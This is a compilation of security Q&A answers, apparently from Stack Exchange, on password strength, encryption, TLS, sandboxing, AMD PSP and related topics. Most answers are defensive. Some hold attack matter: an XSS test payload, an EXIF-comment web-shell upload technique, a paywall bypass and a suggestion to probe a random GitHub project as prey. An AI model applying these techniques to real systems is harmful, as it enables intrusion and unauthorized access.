Assuming that the connections are HTTP based, set up a web server (e.g. nginx / Apache) as a reverse proxy in front of the DVR, and require inbound connections to that web server to be authenticated over HTTPS with a client certificate. This way the DVR is never directly routed to the internet.

If you require access to other protocols, e.g. RTSP for video, I'd suggest creating an isolated network that contains the DVR and cameras, then setting up a VPN endpoint so that you can remotely access the DVR environment.


Well if you're the owner of the system the simplest way to confirm that your application is not vulnerable would be to ensure that the version number is higher than the affected ones.

Beyond that if you're actively looking to exploit this issue to test for its presence the text explaining the first issue is actually pretty descriptive.  To test that you'd likely need to use a proxy such as Burp or OWASP ZAP, then browse to the affected URL, look for the parameter they mention in the description and modify it to inject HTML, something like

"><script>alert(1)</script><"

could be a good starting point.

For the second one unfortunately there's less details, so harder to establish. My typical approach would be to put the CVE number into your search engine of choice and see what comes up.


You're right to state that password length recommendation is usually directly related to how hard it is to bruteforce attack it.  When you combine this with the understanding that sophistication of attacks as well as computing power are increasing, it should follow that at some point in the past, based on computing power available, 8 characters was the "right" recommendation, and prior to this it could have been 6 or 7.  Neither are the right recommendation today.

As computing power increases and sophistication of attacks increases, recommended password lengths will increase as well, to a point where it isn't feasible to use passwords which are any longer.


Are the SS64.com password generators a good approach?

There are two levels of strength here:

Whether the provided password will be, by itself, strong (against brute force).
Whether someone learning one of your passwords on one site will gain leverage for guessing your passwords on other sites (e.g. by guessing the "master password").

The "standard" version produces passwords with 48 bits of entropy: Base64 encoding is 6 bits per character, and the generator uses 8 characters (the "1a" suffix is fixed, so it does not change security at all). 48 bits of entropy are not bad, especially in the context of online attacks, where the attacker must talk to the server for each try. If the server gets hacked (database dump through SQL injection) and the server did not use proper password hashing, the an industrious and motivated attacker may break through it; in that sense the "strong" version is a bit stronger than the standard version. However, in that specific case, I'd say that the weakness is in the server, not the password (not using proper password hashing is the bad point here).

Note that switching from SHA-1 to SHA-256 does not improve security. It is not bad, but it offers a practical gain only insofar as SHA-1 does not provide good preimage resistance, and, right now, SHA-1 is still as good as new in that respect.

For the second level (escalating from site password to master password), both versions are weak because they are way too fast. Given a site-specific password, enumerating potential master passwords can be done at a rate of a few billions per second (with a couple good GPU). Moreover, since the transformation is not salted except by the site name, if several people use the same method for their passwords on the same site then their master passwords can be brute-forced in parallel. The "strong" version is not much stronger at that level than the "standard" version, except for the fact that SHA-256 is about twice slower than SHA-1, thus doubling the attacker's cost.

The approach also suffers from a few usability issues:

If the server requests that a user changes his password, the user cannot comply, because the method produces one password for a given master password and site name.
If the site name changes, then the password generation breaks.
Some servers have special requirements which are not necessarily fulfilled by the generated password (e.g. some servers mandate that passwords shall contain at least one punctuation sign -- a misguided requirement, but it happens).
Others have pointed out the problem of entering your master password on a page served by a third party Web site -- page whose contents may be changed without notice and without any visible warning. A stand-alone version avoids this problem, but if stand-alone applications are allowed, then this opens the possibility of using a better system.

Indeed, more flexible solutions (e.g. KeePass) use a storage system. There is one indirection: the master password is used to encrypt a bundle which contains the actual passwords. This allows for changing passwords and fulfilling other requirements.


how long does it take to brute force varying encryption standards?

Brute-forcing is the most stupid of attacks. It is the equivalent of a monkey repeatedly hitting a coconut with a stone until it breaks (the coconut, not the stone). If you replace the coconut with a steel safe, the monkey will be defeated. "Ultimately", the monkey could bash through the steel, if only he could hit it for (much) longer than his lifetime. But he can't: he'll be dead much before having substantially dented the steel.

What you should worry about is not brute force. A brute forcing attacker tries all possible keys until he gets lucky. It suffice to have sufficiently many possible keys to make such an attack infeasible; "many possible keys" translate to "keys sufficiently long": for symmetric encryption, a key is just a sequence of bits of a given size, and any sequence of exactly that many bits is a valid key; therefore, a 128-bit key is more than large enough to achieve appropriate resistance against brute-forcing (with a fair margin). If you use AES, then the minimum key size is 128 bits (the algorithm cannot do less anyway), so no worry there.

The issues are rather on how you use the encryption algorithm. This is a matter of subtlety and it is very easy to botch it, leaving the door open for attackers who are smarter than the average monkey. At a minimum, you should define clearly what you are trying to defend against, who will need to encrypt data, who will need to decrypt the data, and how the keys will be managed (generation, storage, access, destruction).

Of course, if you just need encryption for regulatory purposes, then just sprinkle some AES over it. It wouldn't be the first time that encryption is applied without such a thing making actual sense. Your best bet, in that case, would be Transparent Data Encryption as implemented in Oracle and SQL Server. TDE has good performance (you will not notice it) and does not alter the table format, so applications can use it transparently (hence the name). TDE protects against confidentiality breaches from attackers obtaining a read access to the relevant part of the hard disk (e.g. attackers who steal an old backup tape). That's something.

TDE, or any amount of encryption, will not magically dispel all vulnerabilities, of course. Cryptography is a science, not wizardry.


Is TLS 1.3 supported in Dovecot 2.3.4 and Postfix 3.3.2?

Postfix and Dovecot rely on OpenSSL. TLS 1.3 is supported since OpenSSL 1.1.1 which is not the OpenSSL which comes with CentOS 7. This means you would need to compile your own version OpenSSL and compile all the tools which should use it against it.
Postfix 3.3.2 supports TLS 1.3 - see http://www.postfix.org/announcements/postfix-3.3.2.html
There is no specific mention of OpenSSL 1.1.1 in the Dovecot Changelog but this indicates that one should be able to compile Dovecot with OpenSSL 1.1.1, so TLS 1.3 should be doable there too.


Why will Google no longer allow me to end or begin passwords with a space?

They trim passwords to deal with the (sometimes insecure) process of people copying and pasting them.

Note:

As a clipboard is not considered a secure data store, nobody worries about keeping it secret. So applications that watch the clipboard feel free to store, for example, store it in publicly accessible data files. You just can't know who actually is watching the clipboard and what they're doing with it. Consider how careful applications like browsers are to keep your password secure. Clipboard apps just don't think like that. Using a secure keystore --> great. Having the clipboard contents logged to disk --> not so good.


The technical definition of password strength already exists in terms of bits of entropy.  Essentially, it's the number of guesses required to arrive at a given password.  A password that is 4 digits long has 10,000 possible values, so only 10,000 guesses or less would be required to guess it.  These are expressed in powers of 2; 10,000 is approximately 2^14, so we would say it has 14 bits of entropy.

14 bits of entropy isn't a lot; a password that short can be brute forced in javascript in a browser in just a few moments.  It's generally true that attacks up to 2^48 are easily achievable by a modern desktop computer; more if the attacker has customized hardware.  In 2012 someone housed 25 graphics cards in a PC and was able to sustain 348 billion hash computations per second.  For safety, we must assume the attackers get better over time as their hardware improves.

But computing hashes isn't the whole story.  Beyond that, there are ways system owners improve security by using a better hashing algorithm, a better protocol such as PBDKF2 or bcrypt, applying salt, throttling guesses, custom hardware, etc.  Rate limiting is very effective if you control the hardware: an iPhone passcode has only 2^14 bits of strength, but the custom chip built inside the machine will destroy its secret embedded encryption keys if the wrong passcode is entered 10 times.

On the other end of the scale, 2^80 bits of entropy are approaching the limits of imaginable attacks.  It seems unlikely today that anyone could brute force crack an 80 bit password at home; it seems almost unthinkable that any entity ever could brute force crack a 128 bit key.  The iPhone being studied by the FBI uses encryption keys that have 256 bits of entropy, and at this we know of no way to brute force those.  Yet advances in mathematics and cryptographic research, and advances in hardware (such as quantum computing), have proven time and again that nothing should be declared uncrackable.

And defense is only half the picture.  There are ways attackers can improve their attacks besides the custom parallelization mentioned above: they can use wordlists and tools like John the Ripper to prioritize guessing passwords based on the language of the user, rainbow tables are easily downloaded, collisions, malware, research on the target, zombies in a captive botnet, and other techniques can all reduce the search space.  These all depend on the capabilities and dedication of your envisioned adversary.

Given that both offense and defense are not statically defined, each combination of implementation and threat model are specific, and are not really comparable to any other installation.  That makes it hard to assign a fixed estimate of cost or time on a basis that is comparable between different password implementations.  The most accurate things we can say are "this algorithm has x bits of strength", "this implementation multiplies attacker effort by 60,000", etc.


How is a public scriptable site like codepad or ideone manages it's sandboxing?

Codepad explains how they provide security on their about page:

  codepad.org is an online compiler/interpreter.  [...] The strategy is to run everything under ptrace, with many system calls disallowed or ignored. Compilers and final executables are both executed in a chroot jail, with strict resource limits. [...]

  Rather than rely on just the chroot and ptrace supervisor, I've taken some additional precautions:

  The supervisor processes run on virtual machines, which are firewalled such that they are incapable of making outgoing connections.
  The machines that run the virtual machines are also heavily firewalled, and restored from their source images periodically.

This seems like a reasonable strategy to me.

For more background on sandboxing technologies, see the following: What is sandboxing?, How can I restrict what an application can do with my computer?, Monitoring system calls (in a reliable and secure way), and
Wikipedia's entry on chroot.


Firefox password manager and Firefox Sync

Obviously, yes. Addons can access the saved passwords. You yourself are using an add-on that can save, read, and edit passwords. I'm not really sure why this is part of your question. Regardless, even without this ability, addons often use access to website content to do same legitimate task. It would not be hard to also scrape text from password fields.
Yes. Synchronized passwords are no different from other saved passwords. They all get saved to the same place and they all get synchronized if you turn the option on.
As far as I can tell, the security model is about the same, if you use a master password. You encrypt locally, so anyone breaking into the server will need to break your master password to read any login credentials. Without a master password, Mozilla still encrypts your passwords using your sync account password, so even if data is stolen from Mozilla's servers, your passwords should be as safe, if your Sync password is strong. Of course if the break into Mozilla they'll get a lot more information than just passwords (e.g. synchronized bookmarks, saved browsing history, etc.) I don't think anyone is really qualified to compare security practices between the two, unless they've done pen-testing with both or something. As for user security, I think LastPass supports 2-factor authentication, so they may even get the win in security, if you use that feature. That said... LastPass has had at least two breaches I've heard about, whereas Mozilla has had none I know about. So ¯\_(ツ)_/¯.
In a sense, yes, local access is needed. Considering the encryption discussed above, Mozilla never has your password data in usable form. But local access could be any program running as your user account, or any Firefox add-on, as discussed above. With a master password, Firefox must be running with your master password entered, or your master password must be stolen with a key logger. Without a master password your saved passwords can be read at any time by programs running on your device. If your full disk is not encrypted, and you don't securely erase/destroy it when you discard your device, your saved passwords can be obtained from there as well if you do not use a master password. Same story for any disk backup storage you may use. More common sources of leaks are people accidentally posting them publicly along with their other Firefox config data when trying to get support or backing up their user directory or something. So I guess the answer here depends on what you're trying to protect against.


Prevent a remote privilege escalation when the root/admin password is known

You should make sure that no other service allow login with username and password. Some systems have an active telnetd or ftpd by default. Ftp would be enough because it would allow to overwrite admin's authorized_keys file.
You should also control that exec login is not possible in your system from a simple shell.
Finally you should control that webservice is not allowed to write files in any directory where admin or root could try to execute files (the dangerous . in PATH for example).
Those are just the first possible vulnerabilities I could think of. Do not hope that list to be exhaustive...


There has been an enormous amount of research into using machine learning techniques for anomaly detection, i.e., to scan network traffic and detect intrusions.  However, this research has had very little practical impact.  These techniques have seen little deployment and are rarely used in practice.

Why not?  There are a number of reasons.

First, these systems tend to have a high false alarm rate.  They often raise multiple spurious alarms per day (sometimes even dozens per day), which takes up system administrators' time.  This is a fundamental challenge for anomaly detection systems, because they suffer from the "needle in a haystack" problem: billions of packets traverse your network every day, and almost all of them are benign.  If the algorithm has a false alarm rate as low as 0.1%, that's still thousands of packets being spuriously flagged.  To be practical, the anomaly detection algorithm needs to have an exceptionally low false alarm rate, which is very challenging to do well -- for the same reason that it is very difficult to detect terrorists in airport screening, without introducing a lot of false alarms that cause everyday folks to have to be searched.

Second, anomaly detection systems tend to be not very robust.  They focus on detect unusual or novel patterns in your network traffic: anything out of the ordinary.  The consequence is that, any time something changes about your network, no matter how benign, they tend to raise alarms.  Did your website just get slashdotted?  Blam, spurious alarms go crazy.  Did some user install a new application that plays novel NAT traversal games?  Blam, here come the spurious alarms.  Did someone just install IPv6 for the first time?  Blam.  Someone connect a new mobile phone with a wonky TCP/IP stack, that sends out broken packets?  Blam.  You get the idea.

If you want to read more about the challenges of innovation in this area, I would recommend the following research papers:

Outside the Closed World: On Using Machine Learning For Network Intrusion Detection. Robin Sommer and Vern Paxson.  IEEE Security & Privacy 2010.

Excerpt: "compared with other intrusion detection approaches, machine learning is rarely employed in operational “real world” settings. [...] It can be surprising at first to realize that despite extensive academic research efforts on anomaly detection, the success of such systems in operational environments has been very limited."

The Base-Rate Fallacy and its Implications for the Difficulty of Intrusion Detection. Stefan Axelsson. RAID 1999.

Excerpt: "the factor limiting the performance of an intrusion detection system is not the ability to correctly identify behaviour as intrusive, but rather its ability to suppress false alarms."


How to verify DNSKEY by using its corresponding DS

According to the information on this page:

Effectively, the digest is calculated over the following fields,
concatenated:
DNSKEY owner name: se. (0x 02736500)
Flags: 257  (0x0101)
Protocol: 3
(0x03) Algorithm: 5  (0x05) Public Key: Aw……
The first four fields, in hex are as follows: 02736500 0101 03 05,

My question was how one can calculate the value for DNSKEY Domain Name (in this case se.). The concept which I didn't know was "wire format". Fortunately Roy Arends from Nominet, UK, explained to me clearly what it is:

A domain name, in "wireformat" is a set of labels, where each label is preceded by a length value and ends with the empty label (value 0x00)
For "se." the wire format is: 02 (length of "se") then 73 65 (hexadecimal representation of the ascii values for "s" and "e", followed by the empty label (value 00): 0x 02 73 65 00
For root (".") the value is just 00 so that would be 0x00
For "dnssec-tools.org": "dnssec-tools" is 12 characters long, so the length value is: 0c then the ascii representation of dnssec-tools in hex: 64 6e 73 73 65 63 2d 74 6f 6f 6c 73 "org" is 3 characters long, so the length value is: 03 then the ascii representation of org in hex: 6f 72 67 followed by the empty label: 00
all in all: "dnssec-tools.org." is
0x0c646e737365632d746f6f6c73036f726700

Thanks agian Roy.


Does Docker provide the same security as a vm

Theoretically, the isolation of Docker is not quite as strong, because parts of the system are shared (kernel is shared, container has a chroot of the original filesystem, etc). However, for most purposes it's good enough. With chroot, cgroups, etc, and the ability to run containers under an unprivileged account (so root in the container is still limited on the host), you can lock down the container sufficiently for most uses.

If you really want VM-level isolation, then use a VM. Depending on the use case, you could start and stop Docker containers within a VM.


Can my school see the websites I've visited while on my home WiFi after I reconnect to the schools?

Probably not. However, if you set your browser to reopen all tabs when you start it, then they might see what your last open tabs were.


Can we build a key exchange protocol without certificates?

Yes, it can be done. This is called a Password Authenticated Key Exchange. Such protocols reuse "asymmetric crypto" elements (such as Diffie-Hellman) and mix them "smartly" with a shared secret, so that:

Client and server authenticate each other with regards to the shared secret.
Guessing the shared secret does not allow decrypting past sessions.
Nothing in what is recorded gives enough information to test potential values for the shared secret.

The third condition implies that a low-entropy shared secret, e.g. a "password", can still safely be used, hence the name for this kind of protocol. The cryptographic concept was invented in 1992 by Bellovin and Merrit, under the name "encrypted key exchange" (formally, a DH key exchange in which messages are symmetrically encrypted with the shared secret, so that decryption with the wrong secret still yields syntaxically valid DH messages -- the actual mathematical requirements are subtle).

In the context of SSL/TLS, a standard PAKE protocol has been defined, under the name SRP (see also the Wikipedia page). SRP is good. Unfortunately, Web browsers don't seem to support it (yet).


What is known about the capabilities of AMD's Secure Processor?

I was interested in the same issue and did some preliminary research. I'll try to answer some of the questions, though as a non-AMD engineer I cannot be certain.

Does it have software-updatable firmware?

Yes, it does. This firmware is part of the AGESA (AMD Generic Encapsulated Software Architecture), a binary blob distributed from AMD to UEFI firmware vendors.
Also to coreboot, where they come with release notes The PSP section mentions PSP version numbers for different platforms. This suggests that they are updatable.

and how is that firmware secured?

I have not been able to extract the firmware code, and don't know how it is protected. A possible indication would be how the SMU firmware is protected: with a HMAC-SHA in the header, with hidden secret key (see the Rudolf Marek's presentation).

Pointer for further analysis: stoney ridge PSP blobs in coreboot.

Has it been used for remote management similar to Intel's AMT?

It is impossible to know what it has been used for. However, my findings suggest that remote management is not the primary purpose (unlike Intel's ME). What I've find it does:

The PSP plays a role in the boot process of the CPU (this is often-quoted, so I won't repeat).
The PSP offers the fTPM (firmware based TPM) API for private key management.
The PSP does key managment for SEV (Secure Encrypted Virtualization API), VM memory encryption. This uses an API to the PSP. To see the nuts and bolts there is a Linux patch RFC to introduce support.
The PSP can be used for cryptographic offloading. Support for this landed in the Linux kernel under drivers/crypto/ccp.

However: there is evidence that code can be loaded dynamically,

Loading of "trustlets" in coreboot. Pointer for further analysis: PSP library in coreboot
A comment "Command to load Trusted Application binary into PSP OS" in drivers/gpu/drm/amd/amdgpu/psp_gfx_if.h in the Linux kernel. This might deal with a different PSP on the GPU die, but as it is AMD code, even then there might be overlaps.

Is it known to have its own network stack?

No, it is not known to have a network stack in the stock configuration. All APIs seem to be facing the CPU, not the outside world.

Knowing how these processors are designed with vague specifications from "enterprise customers" and DRM vendors, it might be possible to load remote management modules, with network stack. However, nothing that I've found proves that conclusively.

Have there been any known exploits targeting it yet, or any public research done on its firmware?

There is a public vulnerability in the fTPM API.
I could not find any public research on the firmware.

On what grounds could one say that the situation with AMD PSP is "better" or "worse" than with Intel ME?

At least the AMD security processor does not provide a remote management API out of the box (as far as we know), unlike Intel ME. To turn it into a network-listening backdoor, OS software has to provide further modules, or maybe even compromise it.

However, as we've found, it is a black box with very little public research put into it. In cryptography a system gains trust after it is often analyzed and no vulnerabilities are found. Security by obscurity is not acceptable. Unfortunately no one holds security processors to Kerckhoffs's principle.


How does Google search extract text from pages behind a paywall?

If this happens, usually the webserver is detecting the GoogleBot and delivering a different result to google.
There where websites that just used the User-Agent header, so you could just change that in your client and read the full article.
Proper implementations will at least check that the IP also is actually one used by the Google Crawler.
If they have it properly implemented, you cannot get the content, unless you are Google.
I know one newspaper that obviously whitelists all Google IPs, so it is possible to bypass the paywall by using a Google Compute Engine VM, which uses an IP address owned by google but not one of the designated crawler IPs.


What are the risks and effects of the feared "Killer USB stick"?

The risks and effects are that 220 volts of electricity toast your motherboard.

With that kind of voltage and (more importantly) current, assume that if this thing gets anywhere near your hardware everything is at risk. Especially if you have sparks jumping across boards or extreme heat. Granted, it isn't designed for destroying hardware other than the computer's motherboard, but the whole "how much more damage could it cause" question seems pretty ludicrous considering that no matter what, you're going to have a fried computer. And you don't want this thing anywhere near your hardware.

As far as protection against the attack goes? First and foremost, limit physical access to your machines and have policies in place designed to improve physical security. If you don't allow anyone to use a flash drive then it makes it a lot more difficult to nonchalantly plant a usb drive.

Of course, people are also people, and if someone sees a flash drive the first instinct will be to plug it in. It's a hardware attack, so it requires a hardware solution. Is this overkill/paranoia? Yes. But it is possible to protect against something like this. Consider something like a fuse in the computer that protects against large voltages/currents flooding through the USB port. Someone plugs in a drive they shouldn't and the fuse blows, not the motherboard.

Is it a solution? Yes. Is it necessary whatsoever in a personal or even corporate environment? No. Especially if you have offsite backups of your data if any drives are damaged, the attacker wouldn't really gain anything. Now, in a military setting or industrial plant like we saw with the Stuxnet virus: https://en.wikipedia.org/wiki/Stuxnet, this might be of concern. But again, physical security like guards, cameras, and locked doors would be the first step to protecting against any hardware based threat like this.


Security reason why one should upgrade old web server to modern Java EE Web Application Server

I haven't looked at it, but chances are big that there are security vulnerabilities in your named versions. Just have a look at exploitsearch.com.

Another reason would be that you can work more efficient. Say it costs X dollar to update your server. Also assume that if you update to newer java version, you can do your work 10% more efficient (which is about 45mins a day). Say you cost 100$ a day for the company, they save 10$ a day each day you develop. Just calculate how much money will be saved by the company in 1 or 2 years

Final reason, imaging shit hits the fan and the server crashes or whatever. You have no support at all from the vendor, imagine how much more time this will cost you to troubleshoot and solve without the tech support.

One more which comes to my mind, even if there aren't any security bugs in your setup, they may be in the OS you're running on. New OS'es are usually not fully backwards compatible, so one day the OS will have breaking changes (updates/service packs/etc). Besides that this is hell to troubleshoot, it would force you to do a update of your OS and of your application landscape, which is even harder to troubleshoot. So updating it one by one makes life easier (stability of systems).


Encrypting sensitive data in a financial form

As per Lucas's comment, you really do not want to do this unless you know how to do it.

Storing account details and SSN's brings legal and regulatory requirements - including:

strong encryption
regular penetration testing
audits

And so on.

There are many payment providers who will do this for you, meeting PCI DSS requirements etc


Behavior when validating an expired certificate chain

The trust store seems to contain certificates, but that's an illusion (or a tradition). Technically, a trust anchor, i.e. the basis for the trust in certificate validation, is a name coupled with a public key. It so happens that people found it convenient to store the name and public key as a file with the same format as a certificate; this required some trickeries, such as the "self-signature", which makes no sense but had to be included because the format for a certificate includes a non-optional field for a signature.

At that point, it really depends on the OS/browser internal conventions. Some implementations will look at the "validity dates" in the trust anchor "certificate" and will use them as, indeed, validity dates (i.e. beyond the end of validity date, they will cease to trust that trust anchor, even if it is still "there", in the dedicated store for trust anchors). Some other implementations will ignore these dates altogether. It is really up to each implementation to make these choices, since the standard is silent on the subject.

So you have to test.


Privacy violation even when queries with too few results are rejected

I think what the book is saying is that if you can come up with such a specific query that there are only a few results, you can identify one particular target in the database.

For example, if a car dealer  had a database of customers, and they "anonymized" the database to include only zip code, make, model, year, color, and salary, you could find your neighbor's salary if you know they bought a car from that dealer.

For example, you could run a query that selects the salary of all people who own a Green 2012 Chevy Volt in your zip code. If you got only a handful of records showing salaries of 20K 30K 40K and 300K and you know your neighbor is a successful attorney, you can guess that he has the 300K salary.

But if the system refused to show less than 100 results, it's harder to find the target such a result set.


Storing the MAC Address of a computer in Active Directory

Some people consider the MAC address to be "somewhat secret". This is misguided, but be aware that making the MAC addresses public may generate some amount of nervousness. You may have to justify yourself.

For instance, a rather common configuration option on "intelligent switches" is to restrict each ethernet port to a single MAC or only a short list of MAC addresses; this is an attempt to discourage employees from bringing their own device. It is not a strong security system; it can be easily countered by setting the MAC address of an external device to a specific value. However, this has contributed to propagate the idea that the MAC address is a kind of password, hence the nervousness about publication.

Wake on LAN is in a similar situation: since it allows for waking machines up remotely, it could, potentially, be used by an attacker to attack powered-off machines. In that respect, switching the machine off no longer is the ultimate security.

(It can make for an interesting DoS. A computer which boots up uses more power than a computer which is merely "up"; this effects last for only a few seconds, until all hard disks are up to speed and the CPU has finished its boot-time self tests. With a generic Wake-on-LAN, it is possible to wake a bunch of machines simultaneously, and overload the fuses. I have known a computer room which could handle all systems up and running, but not all systems booting. So the machines had to be configured to not power-up automatically when power is back after a shortage. A generalized Wake-on-LAN may allow for the same kind of effect.)


How does using OpenID affect webapp security?

I think it makes sense to offer signup via OpenId, but not require it, even for ecommerce websites.
The reason for this, is that tech-savvy users (still the core userbase for openid) can decide whether to take that risk, or not.

The sites that I would not recommend using OpenId, are either highly sensitive sites, e.g. bank sites, or private/corporate systems where you want control of the users' identities, too (ala Enterprise-Centric Identity, as opposed to User-Centric Identity).

There is a clear advantage to using OpenId, since you dont have to manage users' identities, including passwords, resetting, security, etc, and accepting the risk that involves.


I work for ExpressVPN and have investigated this issue. Here are our findings:

No, there is NO link between ExpressVPN and Taboola. I believe what you’re seeing in the screenshot is a case of mistaken identities. Here’s one sign that something is wrong in the screenshot: the ‘remote address’ for a listening socket in process explorer should always be shown as ‘0.0.0.0’, yet somehow your machine resolves that as taboola.com, which doesn’t make sense to me.
What actually happens: xvpnd.exe is an ExpressVPN process that controls the VPN. It listens on 127.0.0.1 (meaning just on the local machine) for messages from the ExpressVPN UI application, expressvpn.exe.
My theory on what caused your machine to resolve 0.0.0.0 as taboola: there might be software on your computer, maybe ad-blocking software, that modified your hosts file and added an entry for 0.0.0.0 pointing to taboola.com. It might have done that in an attempt to block all attempts by your machine to connect to that domain.

One unfortunate side-effect is that the process explorer you’re using now resolves 0.0.0.0 as taboola.com.

Here are some ways to confirm my theory:

on your local machine, run a traceroute to 0.0.0.0 (tracert 0.0.0.0). Does it show taboola?
check your hosts file (ie: C:\Windows\System32\drivers\etc\hosts). Does it have an entry for taboola?

There are probably other explanations as well. I’d appreciate if you got in touch with us at https://www.expressvpn.com/contact and mention that you’re referring to this post. We can work together to figure out what happened on your machine.

The important take-away, however, is that the ExpressVPN app is NOT doing anything malicious, and has no connection with that domain you saw listed. We take your privacy very seriously.


Monitoring file copy on external devices

Corporate technologies to do that include Data Loss Prevention (DLP) for example.

But scanning for "hot files" that are not even written on disk, there's a 0.01% chance your employer will log and review it.


.JPEG File upload shell via EXIF comments

What they're saying is the following:

The upload page does not enforce file extensions, and allows you to upload an image file with an extension of .aspx.
You can embed code inside a JPEG's EXIF comment tag, and it will survive the resize process (i.e. the comment tag is not stripped)
When viewing the file, the server parses the file data as a normal ASPX page. The server outputs the binary data before the EXIF tags, sees the <% and then executes the code in the EXIF comment tag, stops parsing when it finds the %>, then outputs the remainder of the binary data.

I'm not sure whether this actually works, since I haven't tested it, but it sounds legit. A similar trick works with PHP, whereby any file upload system that allows you to upload an image with extension .php will allow you to exploit the EXIF tags by injecting <?php /* code here */ ?> into them.


How would I give an encryption key to only one person?

The answer to your situation, presented as it is, is that it is impossible unless you make certain assumptions.

You have two problems you need to resolve for this to work. For this example, I will use Alice and Bob as examples.

You need to have Alice and Bob exchange keys in a secure fashion. This is the easy problem. Any key exchange method like Diffie-Hellman or RSA will do.
Alice needs to know that she is performing the key exchange with Bob. This is the difficult problem which is impossible to achieve under your scenario without making some assumptions. Let's explore some of the options we have.

Bob publishes a public key that Alice will use to encrypt the encryption key with. However, how would Alice know that this public key belongs to Bob? Historically, there are two ways to accomplish this.

X.509 certificates. The X.590 standard is a centralized trust model where you have to rely on a Certificate Authority to verify Bob's identity. Alice has to trust the Certificate Authority that this particular public key belongs to Bob and not a malicious attacker. This is the model used in TLS/SSL.
PGP/GnuPU. PGP uses a decentralized trust model commonly referred to as the Web of Trust. This works by having many different users sign Bob's public key, essentially endorsing that the particular public key belongs to Bob. In this model, Alice has to trust that only the real Bob is able to garner enough endorsements from users.

I know that your question assumes that there isn't an out-of-band means for Alice to verify Bob's identity. In the hopes of making this answer more comprehensive though, I'll cover this situation a little bit as well. If Alice can meet Bob even once, the situation gets a lot easier. Alice and Bob can simply exchange public keys through a medium like USB drives and use the public keys to encrypt further communications.

Essentially, what you are asking after is a Public-key Infrastructure. As usual, do not reinvent the wheel outside of academic purposes. Use either TLS/SSL or PGP/GnuPG in practice.


What's the difference between OVAL definitions, objects, and tests?

I am not an expert in OVAL, but here is my thoughts.

Generator is just a metadata. I have a product_name, schema_version and timestamp blocks in it.

Definitions is something like a book cover. In definition (i use one definition per file) you want to specify class of checking (like "vulnerability", for example) title of this vulnerability, description, reference for it (i use URL to cve.mitre.org), affected software family (like "windows") and affected products (like "Visual Studio Code").

Inside definition block there is a "Criteria" block. Here you write a condition which returns "true" (criterion - it is a reference to some test in your file which checks for  this vulnerability).

Then you write Tests block. Test must contain object and state. When you run your XML through Ovaldi, this test will check if object is in specified state. For example - you get object "version" from Windows Registry and check its state ("is it equal to 8.1?") If there is an object and it is in specified state - test will return true.

Objects and states are described in blocks objects and states AFTER block tests. You always have to write those blocks in right order: Generator, Definitions, Tests, Objects, States, Variables (here you can find the diagrams for it).

Yes, there is a Variables block. I don't really know much about it but it seems like community uses them mostly for lists of versions: github repository, example with regular expressions.


How to make use of a exploit that is not available in metasploit?

Is it possible to make use of these vulnerabilities?

Theoretically yes, As you mentioned the exploit doesn't exist in Metasploit framework, check if exploits exist on exploit-db site or POC for the CVE on GitHub. If the exploit/POC does not exist, study the CVE by figuring out what exactly leads to that weakness mention in CVE  and try to reproduce the vulnerability locally on the server. After you are done reproducing the vulnerability on the local server successfully, try it on the target server.


XAMPP/Chrome net::ERR_CERT_INVALID on VALID Certificate Chain

I ran into the same situation today: self-signed CA (registered as trustworthy CA) and server certificate signed by that CA.

Firefox and Edge accepted the certificate
Java accepted it as well (JAX-RS request with CA in truststore)
but Chrome rejected it with ERR_CERT_INVALID.

The CA and server certificate both used EC-256 key material.

When I recreated the CA and server certificate, using RSA-2048 keys instead of Elliptic Curves, the certificate chain was accepted by Chrome.

Seems to be an ECC issue with Chrome and other Chrome based user agents (such as Postman, which also wouldn't connect when using ECC keys).


Can software projects which accept government funding be trusted?

There are several points to consider:

There is no indication that the guy in Turkey was using TOR or even how the FBI contributed.  So, this news story is not related to your question.
US government IS actively putting backdoors in all kinds of things: For example, recent revelations that RSA accepted money from the federal government to use a weak default encryption algorithm should make us suspect everything is compromised and not just projects that are federally funded.
You said "FBI is funding TOR".  FBI does not fund TOR.  I think you are using "FBI" as a catch-all for federal government and maybe you don't care about the distinction.  80% of TOR funding is from US government, mostly Department of Defense.   It is in the model of a research grant and was originally funded by DARPA and the Naval Research Laboratory.
TOR is open source and so it can be verified whether it was deliberately or otherwise made insecure.
The speculation is that instead of compromising the program itself, the government has simply created enough TOR exit nodes to be able to correlate TOR traffic with the users they are interested in.  If you use TOR and expect it to protect you, understand the limitations just like any other tool.
Edward Snowden trusted it enough to use it to communicate with Glenn Greenwald.
See two big stories about people getting busted even though they used TOR.  In one, Eric Eoin Marques was arrested for child porn due to an insecurity in Firefox and not TOR itself.  In the other, Silk Road, Ross William Ulbricht was protecting himself with TOR, but I understand it was a non-anonymized forum posting about how to use TOR that led the FBI to him.


How do you go about researching and discovering zero days?

Everyone has its own method.

Bugs come in various species.

Be curious and ask yourself questions. Start with the "Five Ws" (https://en.wikipedia.org/wiki/Five_Ws) . Rinse and repeat and soon you will be able to recognize them then to classify them. Then you will be able to spot them. Then you will be able to see the trace they leave. Then, for example, you will understand that by following the trace they leave, you can get to their nest.

On your own path to wisdom you will need some specific tools to see and follow, but they will come to you naturally when you answer your own questions.

Soon you will have found lots of nests of various bug species just about anywhere.

Only then, when you have seen the fundamental nature of bugs, will you be able to decide where you want to go, and develop your own code of conduct and ethic by asking yourself "Should I" questions, or "Why wouldn't I" questions.

Should I eliminate some ? Should I eliminate them once and for all ? Should I profit from them ? Why wouldn't I cultivate them so that there are more of them ? Why wouldn't I design new bug species ?

Computer security is a collaborative art. Be curious, and have fun guiding it along the way you wish it to go.

Below is Edit 1 :

(Doing the exercise together to help you be convinced)

I pointed now explicitly to the 5Ws wikipedia article which is a rather good generic strategy. The question is rather open, so I was providing a rather open answer giving some methodology.

I could have oriented you to any CVE vulnerability list and told you to analyse. But imho vulnerabilities are less fundamental than bugs (vulnerabilities are bugs with security consequences).

So by speaking of bugs, if you were to ask yourself "Where could I find example bugs" as I suggested you should, soon you would have answered your question and went to github.com/trending, picked a random project and go to issues page. And then for example ask yourself 'What is this project', 'Who is doing this', 'Why is he doing this'...

Have an open mindset set on attack mode (you can train like you would train in chess).

As of today at the top of the trending list we got https://github.com/neutraltone/awesome-stock-resources .

What is it ? a list of websites which offer free reusable pics and resources

Who made the project ? "a Front-End Designer" -> good he probably isn't a security expert -> He will make errors that we will be able to exploit.

Who uses such site ? Webmasters who needs pictures or resources but don't have time and money to do them themselves.  (In a sense this is already a vulnerability, and it's already a red flag for easy preys)

Why ? It seems to be a common problem to find free legally usable resources, (Does this project solve this problem with security in mind ? -> No -> good for us)

Where will those free resources be used ? On various random websites somewhere.

When ? The project is trending now so the security doors may not yet be closed, or fully opened yet.

